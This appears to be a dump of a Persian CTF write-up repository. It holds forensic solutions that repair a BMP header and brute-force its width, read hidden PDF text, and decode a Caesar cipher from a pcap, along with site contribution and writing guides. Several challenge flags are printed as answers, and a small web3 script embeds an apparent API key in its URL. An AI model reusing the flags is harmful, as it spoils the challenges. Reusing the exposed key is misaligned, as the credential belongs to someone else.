17 | 18 | 19 | !!! نویسنده 20 | [SafaSafari](https://twitter.com/SafaSafari3) 21 | 22 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/ImaginaryCTF/elves-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/ImaginaryCTF/elves-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/ImaginaryCTF/elves-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/ImaginaryCTF/elves-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/ImaginaryCTF/elves-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/ImaginaryCTF/elves-3.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/ImaginaryCTF/elves.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/ImaginaryCTF/elves.bmp -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/ImaginaryCTF/elves.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/ImaginaryCTF/elves.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/0_chall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/0_chall.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/1_statistics.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/1_statistics.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/2_http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/2_http.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/3_bad_packets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/PatriotCTF/Abnormal-Maybe-Illegal-files/3_bad_packets.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-1.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-2.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-3.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-4.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-5.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-6.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-7.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/false-sight-8.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/false-sight.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Reverse 6 | - BMP 7 | --- 8 | 9 | ![Challenge](false-sight-1.png) 10 | 11 | بدون فوت وقت میریم سراغ hex editor و میبینیم که به به 12 | 13 | ![False-Sight](false-sight-2.png) 14 | 15 | یه استرینگ به چشم میخوره به اسم 16 | BGRs 17 | 18 | با چندتا سرچ تو گوگل میفهمیم که فرمت فایل bmp هست 19 | 20 | با [مجیک بایت](https://en.wikipedia.org/wiki/List_of_file_signatures) bmp فایل رو به این صورت فیکس میکنیم 21 | 22 | ![False-Sight](false-sight-3.png) 23 | 24 | ![False-Sight](false-sight-4.png) 25 | 26 | خوردیم به در بسته =)) 27 | 28 | از اون جایی که ۹۹ درصد CTF های ایرانی رو اسیس طراحی کرده 29 | 30 | از چلنج های قبلی اسیس یادمونه که یه چلنج بوده که همینجوری به فایل تصویری علامت سوال میرسیدیم و باید لنف تصویری رو جلو میرفتیم و یه عکس دیگه که چسبیده بوده به عکس رو پیدا کنیم و فلگ رو توش پیدا میکردیم 31 | 32 | پس میریم سراغ [exiftool](https://en.wikipedia.org/wiki/ExifTool) 33 | 34 | ![False-Sight](false-sight-5.png) 35 | 36 | لاین سلکت شده به ما این رو میرسونه که فایل تصویریمون تا اینجا بیشتر نباید باشه، اما... 37 | 38 | ![False-Sight](false-sight-6.png) 39 | 40 | اما میبینیم که پاشو از گلیمش دراز تر کرده =))) 41 | 42 | پس میزنیم کل عکسی که با علامت سوال پر شده رو پاک میکنیم :smiling_imp: 43 | 44 | اون علامت سوالا رو میبینید آخرای صفحه؟ 45 | 46 | اونا توجه منو جلب میکنن 47 | 48 | مخصوصا که چهار تان و مجیک بایت bmp هم چهار تاس 49 | 50 | پس تا اونجا پاک میکنیم =)) 51 | 52 | حالا کی حال داره بشینه کل بایتا رو بازنویسی کنه؟ 53 | 54 | از قسمت اول همون فایل اولیه که مجیک بایتش رو فیکس کردیم، بایت ها رو تا جایی که به ۰۰ میرسیم کپی میکنیم و جوری میزاریم تو فایل که مجیک بایت بیفته رو علامت سوالا 55 | 56 | یه همچین عکسی در میاد 57 | 58 | ![False-Sight](false-sight-7.png) 59 | 60 | کاملا واضحه که رزولوشن عکس مشکل داره 61 | 62 | با خوندن فرمت فایل bmp متوجه میشیم که کجا باید رزولوشن رو ست کنیم 63 | 64 | با این اسکریپت python میزنیم همه رزولوشن ها رو ست میکنیم رو عکس و تو یه فایل ذخیره میکنیم 65 | 66 | برای این بروت فورس فقط نیازه x عکس رو بروت فورس کنیم 67 | 68 | چون پیکسل های تصاویر از چپ به راست تکمیل میشن و ارتفاع تاثیری در پیکسل ها و ترتیبشون نداره 69 | 70 | ```python linenums="1" 71 | hdr = bytearray.fromhex("42 4D 42 42 0F 00 00 00 00 00 7A 00 00 00 6C 00 00 00") 72 | a = open("false_sight", 'rb').read()[0x16:] 73 | 74 | for i in range(1, 10000): 75 | with open("res/{}.bmp".format(i), 'wb') as f: 76 | f.write(hdr + i.to_bytes(4, 'little') + a) 77 | ``` 78 | 79 | بعد از اجرای اسکریپت میریم سراغ عکسا و میبینیم این عکس خواناس 80 | 81 | ![False-Sight](false-sight-8.png) 82 | --- 83 | !!! نویسنده 84 | [SafaSafari](https://twitter.com/SafaSafari3) 85 | 86 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/snapp-report.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Reverse 6 | - PDF 7 | - PDFLatex 8 | --- 9 | 10 | اینجا یه فایل pdf داریم که با firefox بازش میکنیم 11 | 12 | با زدن یه Ctrl+a میبینیم که یه سری متن ها هست که ما نمیبینیم 13 | 14 | دورشون یه سری متن نوشته شده، از «ولکام» شروع میکنیم و پاد ساعتگرد میچرخیم و هی کپی میکنیم و فلگ در میاد =)) 15 | 16 | ![Snapp-Report](snapp-report.png) 17 | 18 | ??? success "FLAG :triangular_flag_on_post:" 19 |
`SNAPP{_g3n3r4T3_r4nd0m_c0l0r_1n_w4y_7h47_w0rk5_w17h_pdfLaTeX!}`
20 | --- 21 | !!! نویسنده 22 | [SafaSafari](https://twitter.com/SafaSafari3) 23 | 24 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/SnappCTF/snapp-report.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/SnappCTF/snapp-report.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/1_many_arps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/1_many_arps.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/2_http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/2_http.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/3_follow_http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/3_follow_http.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/capture.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/capture.zip -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/secret.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can-files/secret.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/catch-me-if-you-can.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Urmia-CTF 4 | - Urmia-CTF-2024 5 | - Forensics 6 | - pcap 7 | - cryptography 8 | - wireshark 9 | - HTTP 10 | --- 11 | 12 | 13 | !!! note "توضیحات چلنج" 14 |
15 | In the bustling bazaars of ancient Persia, where merchants traded silk and spices, a secret message has been intercepted. Legend has it that this message holds the key to discovering the whereabouts of a hidden treasure deep within the ancient emperor of Persia. However, the message has been cunningly encrypted and is hidden within a sea of network traffic. Can you decode it before the secret slips through your fingers? 16 |
17 | 18 | یک فایل [packet capture](https://en.wikipedia.org/wiki/Pcap) بهمون داده شده که باید فلگ رو از داخلش در بیاریم 19 | ![wireshark screen of packet capture with some arp and ssh pdu's](catch-me-if-you-can-files/1_many_arps.png){ style="display: block; margin: 0 auto" } 20 | 21 | 22 | فایل رو اول که باز کردم با خودم گفتم این همه پیام [ARP](https://en.wikipedia.org/wiki/Address_Resolution_Protocol) زیادیه برای یه شبکه، اونم پشت سر هم 23 | 24 | با این که مشکوک بود اول رفتم سراغ پیدا کردن پیام هایی که مخفی نشدن و اگه به جایی نرسیدم برگردم سر ARP 25 | 26 | همیشه اول فیلتر میزنم روی [فلگ پوش TCP](https://datatracker.ietf.org/doc/html/rfc9293#section-3.1-6.14.2.10.1) ببینم پیامی هست که رمز نگاری نشده باشه 27 | ![wireshark screen of packet capture with some http and ssh pdu's](catch-me-if-you-can-files/2_http.png){ style="display: block; margin: 0 auto" } 28 | 29 | به نظر میاد چیزی پیدا کردیم 30 | 31 | [http](https://en.wikipedia.org/wiki/HTTP) 32 | نشونه خوبیه 33 | 34 | [follow http stream](https://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowStreamSection.html) 35 | کردم 36 | ![wireshark screen of a reassembled http conversation](catch-me-if-you-can-files/3_follow_http.png){ style="display: block; margin: 0 auto" } 37 | 38 | 39 | به نظر میاد که فایل داخل ریسپانس هستش 40 | 41 | فایل رو که سیو کردم و روش کامند 42 | [file](https://www.man7.org/linux/man-pages/man1/file.1.html) 43 | روی زدم دیدم عکسه 44 | ```bash 45 | $file a.png 46 | a.png: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced 47 | ``` 48 | بازش کردم 49 | ![a colorful image of vegetables in a bowl with an encrypted message written on the lower right of the iamge ](catch-me-if-you-can-files/secret.png){ width=80%; height: auto; style="display: block; margin: 0 auto" } 50 | 51 | پایین سمت راست عکس نوشته بی معنی میبینیم که اگه به الگوش دقت کنیم متوجه میشیم که احتمالا از [الگوریتم سزار](https://en.wikipedia.org/wiki/Caesar_cipher) استفاده شده برای رمز نگاری این متن 52 | 53 | چون 54 | 55 | ۱.حرف اول کلمه ها بزرگه 56 | 57 | ۲.شبیه متن عادی هستش که صرفا معنی نمیده به این مظور که چینش و تکرار حروف اشناس 58 | 59 | کلید از ۱ تا ۲۸ سزار رو تست کردم 60 | 61 | و با کلید ۲۲ به متن زیر رسیدم 62 | 63 | Tabriz_Grand_Bazaar 64 | 65 | داخل فرمت 66 | UCTF{} 67 | گذاشتم و قبول شد 68 | 69 | --- 70 | ??? success "FLAG :triangular_flag_on_post:" 71 |
`UCTF{Tabriz_Grand_Bazaar}`
72 | 73 | !!! نویسنده 74 | [Ali](https://github.com/AliGhaffarian) 75 | 76 | 77 | -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/1_pcap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/1_pcap.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/2_tcp_push_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/2_tcp_push_flag.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/3_filter_on_not_tls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/3_filter_on_not_tls.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/4_icmp_filter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/4_icmp_filter.png -------------------------------------------------------------------------------- /docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/5_icmp_filtered_standard_payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/forensic/writeups/2024/Urmia-CTF/hidden-coordinates-files/5_icmp_filtered_standard_payload.png -------------------------------------------------------------------------------- /docs/getStarted/CTF-in-Iran.md: -------------------------------------------------------------------------------- 1 | # CTFس در ایران 2 | 3 | ## تاریخچه برگزاری CTF در ایران 4 | ### مسابقه ASIS 5 | ### فتح پرچم دانشگاه شریف 6 | ### mapnactf 7 | ### فتح پرچم دانشگاه ارومیه 8 | ### سایر مسابقات 9 | ## سطح کیفی مسابقات در ایران 10 | ## تیم ها مطرح ایرانی 11 | ## قوانین و شرایط عجیب غریب در مسابقات داخلی -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/DefconCTF-logo.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/DefconCTF-logo.jpeg -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/Jeopardy.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/Jeopardy.jpg -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/attack-defense.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/attack-defense.png -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/ctftime.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/ctftime.png -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/defcon1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/defcon1.jpg -------------------------------------------------------------------------------- /docs/getStarted/CTF-introduction/on-site.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/CTF-introduction/on-site.png -------------------------------------------------------------------------------- /docs/getStarted/Sample-writeup.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/Sample-writeup.zip -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/247ctf-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/247ctf-logo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/HTB-Logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/HTB-Logo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/THMlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/THMlogo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/crackmes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/crackmes.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/cryptohack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/cryptohack.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/ctflearn logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/ctflearn logo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/forensic_repo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/forensic_repo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/hacktoria.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/hacktoria.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/picoctf-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/picoctf-logo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/portswigger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/portswigger.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/pwncollege.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/pwncollege.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/ringzer0ctf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/ringzer0ctf.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/rootme logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/rootme logo.png -------------------------------------------------------------------------------- /docs/getStarted/beginners-guide/w3challs.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/beginners-guide/w3challs.jpg -------------------------------------------------------------------------------- /docs/getStarted/contribution.md: -------------------------------------------------------------------------------- 1 | # نحوه همکاری 2 | ما همه از کسانی که بخواهند با ما همکاری داشته باشند به گرمی استقبال می‌کنیم. 3 | این همکاری می‌تواند در قالب مشارکت در بخش‌های زیر خلاصه شود: 4 | 5 | - **نوشتن رایتاپ:** 6 | 7 | اگر تمایل دارید که دانش و تجربه خود در حل چالش‌های CTF را در اختیار دیگران بگذارید خوشحال خواهیم شد که از بستر این سایت استفاده کنید. شما می‌توانید ابتدا نکات مربوط به [نگارش رایتاپ](https://flagmotori.github.io/writeups/introduction/writing-method/) و نحوه [نوشتن با فرمت md](https://flagmotori.github.io/writeups/introduction/writing-method/) را مطالعه کنید تا بعد از بازبینی رایتاپ، آن را با نام خودتان منتشر کنیم. 8 | 9 | - **عضویت در تیم:** 10 | 11 | برای عضویت در تیم فلگ موتوری هیچ محدودی از لحاظ سطح دانش وجود ندارد و تنها ملاک ارزیابی تلاش و پشتکار فرد در طول زمان است. برای عضویت در تیم، می‌توانید فرم موجود در [اینجا](https://forms.gle/TsembkjqfQycTm1y8) را پر کنید یا از طریق دیسکورد به آدرس mheidari98 پیام دهید. 12 | 13 | - **ترجمه و تولید محتوا:** 14 | 15 | تهیه مقاله‌های پژوهشی فارسی مرتبط با CTF یا تصاویر و ویدیوهای آموزشی نیز می‌تواند از موارد همکاری با ما باشد. 16 | 17 | - **انتقاد و پیشنهاد:** 18 | - ... -------------------------------------------------------------------------------- /docs/getStarted/logo_template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/getStarted/logo_template.png -------------------------------------------------------------------------------- /docs/getStarted/main.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3 2 | import json 3 | 4 | setupContract = "0x1AC90AFd478F30f2D617b3Cb76ee00Dd73A9E4d3" 5 | url = "https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8" 6 | provider = Web3(Web3.HTTPProvider(url)) 7 | 8 | with open("setup.json") as f: #json file with the contract ABI 9 | setup_json = json.load(f) 10 | 11 | setup = provider.eth.contract(address=setupContract, abi = setup_json) 12 | 13 | print(setup.functions.enterVenue().call()) -------------------------------------------------------------------------------- /docs/getStarted/writing-method.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - نحوه نگارش 4 | - قالب 5 | - رایتاپ نویسی 6 | - Markdown 7 | --- 8 | 9 | # نگارش رایتاپ 10 | 11 | شاید برای شما سوال شود که writeup چیست و نوشتن آن چه تاثیری خواهد داشت. writeup یا معادل فارسی آن "**نگاشته** یا **نوشته**" در دنیای امنیت، **گزارشی از نحوه حل مسئله** است که نویسنده گام به گام رویدادها و آزمایشات خود را برای حل یک چالش امنیتی بیان می‌کند. این گزارش علاوه بر اینکه کمک بسیاری به خوانندگان و افزایش تجربه آن‌ها در حل مسائل جدید می‌کند می‌تواند باعث افزایش درک خود نویسنده از آن چالش نیز شود. 12 | 13 | این بخش به عنوان نکات نگارشی در رایتاپ نویسی توسط تیم پیشنهاد می‌شود تا نوشته‌ها به صورت یک شکل، منظم و استاندارد ارائه شوند. برای نگارش، نویسنده باید از فرمت ایجاد متن [Markdown](https://en.wikipedia.org/wiki/Markdown) یا به اختصار md استفاده کند که نحوه نگارش در این فرمت همراه با عناصر آن و مثال در [اینجا](https://flagmotori.github.io/writeups/getStarted/template/) توضیح داده شده است. 14 | البته با خواندن چند رایتاپ قالب نوشتاری مناسب را متوجه خواهید شد. 15 | با این حال لازم است که موارد زیر را در هنگام نگارش نوشته‌ی خود لحاظ کنید: 16 | 17 | - نیاز نیست نحوه بیان رایتاپ حتما شکلی رسمی مانند مقالات علمی داشته باشد. شما می‌توانید از بیانی دوستانه و صمیمی برای نگارش رایتاپ خود استفاده کنید. 18 | - نویسنده باید قوانین مربوط به سرقت ادبی را رعایت کند. در غیر این صورت عواقب آن متوجه خود نویسنده خواهد بود. 19 | - محدودیتی در طول و حجم رایتاپ وجود ندارد. 20 | - سعی کنید نوشته‌ای کامل و گام‌به‌گام را ارائه دهید تا خواننده بتواند مراحل حل چالش راحت‌تر درک کند. 21 | - استفاده از تصاویر و جداول می تواند به درک خواننده از مراحل حل چالش کمک بسیاری کند. 22 | - برچسب گذاری (Tag) رایتاب بسیار مهم است و توصیه می‌شود که برچسب‌ها را به ترتیب از مفهوم کلان‌تر به کوچک‌تر قرار دهید. همچنین برچسب برای نام مسابقه CTF و سال آن مسابقه در نظر بگیرید. به عنوان نمونه: 23 | 24 | $~~~~~~$ primes ،Factorization ،RSA ،Crypto ،ASIS-2023 ،ASIS-CTF 25 | 26 | - عنوان رایتاپ را براساس نام چالش انتخاب کنید. 27 | - نام نویسنده را در انتهای رایتاپ به عنوان یک یادداشت قرار داده شود. 28 | 29 | --- -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: fontawesome/regular/flag 3 | --- 4 | 5 | # سخن آغازین 6 | به صفحه نوشته‌های مرتبط با CTF خوش آمدید. 7 | در حال حاضر، این **نسخه آزمایشی** صفحه نوشته‌های اعضا تیم است. امیدواریم که این سایت گامی هرچند اندک در جهت ارتقاء دانش و آگاهی علاقه‌مندان به حوزه امنیت سایبری در این سرزمین باشد. 8 | 9 | امروزه درونمایه نوشتاری حوزه امنیت سایبری اغلب به زبان انگلیسی است. از آنجایی که ممکن است مطالعه محتوای انگلیسی برای بسیاری از افراد دشوار باشد، تصمیم گرفتیم نحوه حل چالش‌ها را به زبان فارسی منتشر کنیم تا مخاطبین راه‌حل چالش‌های مسابقات CTF را بهتر درک کنند. زیرا بر این باوریم که ارائه این نوشته‌ها و در دسترس قرار دادن آن‌ها برای همگان، می‌تواند کمبود منابع فارسی در زمینه امنیت را تا حدی جبران کند. 10 | اگر شما نیز علاقه‌مند به همکاری با ما هستید، می‌توانید نوشته‌های خود در زمینه امنیت سایبری، به‌ویژه در حوزه CTF را برای ما ارسال کنید. برای این کار کافیست به [این صفحه](getStarted/contribution.md) مراجعه و آن را مطالعه کنید. 11 | 12 | علاوه بر این، کوشیدیم تا بستری جذاب را برای خواندن این نوشته‌ها فراهم کنیم. بدین منظور امکان سفارشی‌سازی برخی قسمت‌ها در سایت تعبیه شده تا تجربه متفاوتی از مطالعه را بر اساس سلیقه شخصی خود شکل دهید. برای شخصی‌سازی سایت می‌توانید به [این صفحه](getStarted/customization.md) بروید. 13 | 14 | -------------------------------------------------------------------------------- 